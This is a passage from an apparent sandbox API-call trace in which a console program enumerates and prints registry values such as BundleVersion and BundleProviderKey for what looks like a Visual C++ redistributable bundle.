lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.147] GetConsoleOutputCP () returned 0x1b5 [0151.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.147] __iob_func () returned 0x7fefd702a80 [0151.147] _fileno (_File=0x7fefd702ab0) returned 1 [0151.147] _errno () returned 0x204bb0 [0151.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.147] _errno () returned 0x204bb0 [0151.147] GetFileType (hFile=0x50) returned 0x1 [0151.147] lstrlenW (lpString="\n") returned 1 [0151.147] GetConsoleOutputCP () returned 0x1b5 [0151.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.147] GetConsoleOutputCP () returned 0x1b5 [0151.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.147] GetProcessHeap () returned 0x3c0000 [0151.147] GetProcessHeap () returned 0x3c0000 [0151.147] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.147] GetProcessHeap () returned 0x3c0000 [0151.147] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.147] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.148] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundlePatchCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.148] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.148] GetProcessHeap () returned 0x3c0000 [0151.148] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.148] GetProcessHeap () returned 0x3c0000 [0151.148] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.148] GetProcessHeap () returned 0x3c0000 [0151.148] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.148] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0151.148] __iob_func () returned 0x7fefd702a80 [0151.148] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.148] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.148] _fileno (_File=0x7fefd702ab0) returned 1 [0151.148] _errno () returned 0x204bb0 [0151.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.148] _errno () returned 0x204bb0 [0151.148] GetFileType (hFile=0x50) returned 0x1 [0151.148] lstrlenW (lpString=" ") returned 4 [0151.148] GetConsoleOutputCP () returned 0x1b5 [0151.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.148] GetConsoleOutputCP () returned 0x1b5 [0151.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.148] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.148] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.148] lstrlenW (lpString="BundlePatchCode") returned 15 [0151.148] __iob_func () returned 0x7fefd702a80 [0151.148] _fileno (_File=0x7fefd702ab0) returned 1 [0151.148] _errno () returned 0x204bb0 [0151.149] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.149] _errno () returned 0x204bb0 [0151.149] GetFileType (hFile=0x50) returned 0x1 [0151.149] lstrlenW (lpString="BundlePatchCode") returned 15 [0151.149] GetConsoleOutputCP () returned 0x1b5 [0151.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.149] GetConsoleOutputCP () returned 0x1b5 [0151.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundlePatchCode", lpUsedDefaultChar=0x0) returned 15 [0151.149] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.149] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.149] __iob_func () returned 0x7fefd702a80 [0151.149] _fileno (_File=0x7fefd702ab0) returned 1 [0151.149] _errno () returned 0x204bb0 [0151.149] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.149] _errno () returned 0x204bb0 [0151.149] GetFileType (hFile=0x50) returned 0x1 [0151.149] lstrlenW (lpString=" ") returned 4 [0151.149] GetConsoleOutputCP () returned 0x1b5 [0151.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.149] GetConsoleOutputCP () returned 0x1b5 [0151.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.150] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.150] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.150] __iob_func () returned 0x7fefd702a80 [0151.150] _fileno (_File=0x7fefd702ab0) returned 1 [0151.150] _errno () returned 0x204bb0 [0151.150] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.150] _errno () returned 0x204bb0 [0151.150] GetFileType (hFile=0x50) returned 0x1 [0151.150] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0151.150] GetConsoleOutputCP () returned 0x1b5 [0151.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.150] GetConsoleOutputCP () returned 0x1b5 [0151.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0151.150] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.150] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.150] __iob_func () returned 0x7fefd702a80 [0151.150] _fileno (_File=0x7fefd702ab0) returned 1 [0151.150] _errno () returned 0x204bb0 [0151.150] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.150] _errno () returned 0x204bb0 [0151.150] GetFileType (hFile=0x50) returned 0x1 [0151.150] lstrlenW (lpString=" ") returned 4 [0151.150] GetConsoleOutputCP () returned 0x1b5 [0151.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.151] GetConsoleOutputCP () returned 0x1b5 [0151.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.151] __iob_func () returned 0x7fefd702a80 [0151.151] _fileno (_File=0x7fefd702ab0) returned 1 [0151.151] _errno () returned 0x204bb0 [0151.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.151] _errno () returned 0x204bb0 [0151.151] GetFileType (hFile=0x50) returned 0x1 [0151.151] lstrlenW (lpString="\n") returned 1 [0151.151] GetConsoleOutputCP () returned 0x1b5 [0151.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.151] GetConsoleOutputCP () returned 0x1b5 [0151.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.151] GetProcessHeap () returned 0x3c0000 [0151.151] GetProcessHeap () returned 0x3c0000 [0151.151] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.151] GetProcessHeap () returned 0x3c0000 [0151.151] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.151] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.152] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.152] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1e) returned 0x0 [0151.152] GetProcessHeap () returned 0x3c0000 [0151.152] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0151.152] GetProcessHeap () returned 0x3c0000 [0151.152] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.152] GetProcessHeap () returned 0x3c0000 [0151.152] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0151.152] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1e | out: pdwType=0x29f700*=0x1, pvData="14.10.25017.0", pcbData=0x29f780*=0x1c) returned 0x0 [0151.152] __iob_func () returned 0x7fefd702a80 [0151.152] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.152] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.152] _fileno (_File=0x7fefd702ab0) returned 1 [0151.152] _errno () returned 0x204bb0 [0151.152] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.152] _errno () returned 0x204bb0 [0151.152] GetFileType (hFile=0x50) returned 0x1 [0151.152] lstrlenW (lpString=" ") returned 4 [0151.152] GetConsoleOutputCP () returned 0x1b5 [0151.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.152] GetConsoleOutputCP () returned 0x1b5 [0151.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.152] lstrlenW (lpString="BundleVersion") returned 13 [0151.152] __iob_func () returned 0x7fefd702a80 [0151.152] _fileno (_File=0x7fefd702ab0) returned 1 [0151.153] _errno () returned 0x204bb0 [0151.153] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.153] _errno () returned 0x204bb0 [0151.153] GetFileType (hFile=0x50) returned 0x1 [0151.153] lstrlenW (lpString="BundleVersion") returned 13 [0151.153] GetConsoleOutputCP () returned 0x1b5 [0151.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.153] GetConsoleOutputCP () returned 0x1b5 [0151.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleVersion", lpUsedDefaultChar=0x0) returned 13 [0151.153] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.153] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.153] __iob_func () returned 0x7fefd702a80 [0151.153] _fileno (_File=0x7fefd702ab0) returned 1 [0151.153] _errno () returned 0x204bb0 [0151.153] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.153] _errno () returned 0x204bb0 [0151.153] GetFileType (hFile=0x50) returned 0x1 [0151.153] lstrlenW (lpString=" ") returned 4 [0151.153] GetConsoleOutputCP () returned 0x1b5 [0151.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.153] GetConsoleOutputCP () returned 0x1b5 [0151.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.154] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.154] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.154] __iob_func () returned 0x7fefd702a80 [0151.154] _fileno (_File=0x7fefd702ab0) returned 1 [0151.154] _errno () returned 0x204bb0 [0151.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.154] _errno () returned 0x204bb0 [0151.154] GetFileType (hFile=0x50) returned 0x1 [0151.154] lstrlenW (lpString="REG_SZ") returned 6 [0151.154] GetConsoleOutputCP () returned 0x1b5 [0151.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.154] GetConsoleOutputCP () returned 0x1b5 [0151.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.154] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.154] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.154] __iob_func () returned 0x7fefd702a80 [0151.154] _fileno (_File=0x7fefd702ab0) returned 1 [0151.154] _errno () returned 0x204bb0 [0151.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.154] _errno () returned 0x204bb0 [0151.154] GetFileType (hFile=0x50) returned 0x1 [0151.154] lstrlenW (lpString=" ") returned 4 [0151.154] GetConsoleOutputCP () returned 0x1b5 [0151.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.155] GetConsoleOutputCP () returned 0x1b5 [0151.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.155] __iob_func () returned 0x7fefd702a80 [0151.155] _fileno (_File=0x7fefd702ab0) returned 1 [0151.155] _errno () returned 0x204bb0 [0151.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.155] _errno () returned 0x204bb0 [0151.155] GetFileType (hFile=0x50) returned 0x1 [0151.155] lstrlenW (lpString="14.10.25017.0") returned 13 [0151.155] GetConsoleOutputCP () returned 0x1b5 [0151.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.155] GetConsoleOutputCP () returned 0x1b5 [0151.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017.0", lpUsedDefaultChar=0x0) returned 13 [0151.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.155] __iob_func () returned 0x7fefd702a80 [0151.155] _fileno (_File=0x7fefd702ab0) returned 1 [0151.155] _errno () returned 0x204bb0 [0151.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.155] _errno () returned 0x204bb0 [0151.155] GetFileType (hFile=0x50) returned 0x1 [0151.155] lstrlenW (lpString="\n") returned 1 [0151.156] GetConsoleOutputCP () returned 0x1b5 [0151.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.156] GetConsoleOutputCP () returned 0x1b5 [0151.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.156] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.156] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.156] GetProcessHeap () returned 0x3c0000 [0151.156] GetProcessHeap () returned 0x3c0000 [0151.156] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.156] GetProcessHeap () returned 0x3c0000 [0151.156] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0151.156] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0151.156] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleProviderKey", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.156] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x26) returned 0x0 [0151.157] GetProcessHeap () returned 0x3c0000 [0151.157] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0151.157] GetProcessHeap () returned 0x3c0000 [0151.157] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.157] GetProcessHeap () returned 0x3c0000 [0151.157] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0151.157] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x26 | out: pdwType=0x29f700*=0x1, pvData=",,x86,14.0,bundle", pcbData=0x29f780*=0x24) returned 0x0 [0151.157] __iob_func () returned 0x7fefd702a80 [0151.157] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.157] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.157] _fileno (_File=0x7fefd702ab0) returned 1 [0151.157] _errno () returned 0x204bb0 [0151.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.157] _errno () returned 0x204bb0 [0151.157] GetFileType (hFile=0x50) returned 0x1 [0151.157] lstrlenW (lpString=" ") returned 4 [0151.157] GetConsoleOutputCP () returned 0x1b5 [0151.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.157] GetConsoleOutputCP () returned 0x1b5 [0151.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.157] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.157] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.157] lstrlenW (lpString="BundleProviderKey") returned 17 [0151.157] __iob_func () returned 0x7fefd702a80 [0151.157] _fileno (_File=0x7fefd702ab0) returned 1 [0151.157] _errno () returned 0x204bb0 [0151.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.158] _errno () returned 0x204bb0 [0151.158] GetFileType (hFile=0x50) returned 0x1 [0151.158] lstrlenW (lpString="BundleProviderKey") returned 17 [0151.158] GetConsoleOutputCP () returned 0x1b5 [0151.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0151.158] GetConsoleOutputCP () returned 0x1b5 [0151.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleProviderKey", lpUsedDefaultChar=0x0) returned 17 [0151.158] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0151.158] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.158] __iob_func () returned 0x7fefd702a80 [0151.158] _fileno (_File=0x7fefd702ab0) returned 1 [0151.158] _errno () returned 0x204bb0 [0151.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.158] _errno () returned 0x204bb0 [0151.158] GetFileType (hFile=0x50) returned 0x1 [0151.158] lstrlenW (lpString=" ") returned 4 [0151.158] GetConsoleOutputCP () returned 0x1b5 [0151.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.158] GetConsoleOutputCP () returned 0x1b5 [0151.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.158] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.158] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.159] __iob_func () returned 0x7fefd702a80 [0151.159] _fileno (_File=0x7fefd702ab0) returned 1 [0151.159] _errno () returned 0x204bb0 [0151.159] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.159] _errno () returned 0x204bb0 [0151.159] GetFileType (hFile=0x50) returned 0x1 [0151.159] lstrlenW (lpString="REG_SZ") returned 6 [0151.159] GetConsoleOutputCP () returned 0x1b5 [0151.159] WideCharToMultiByte 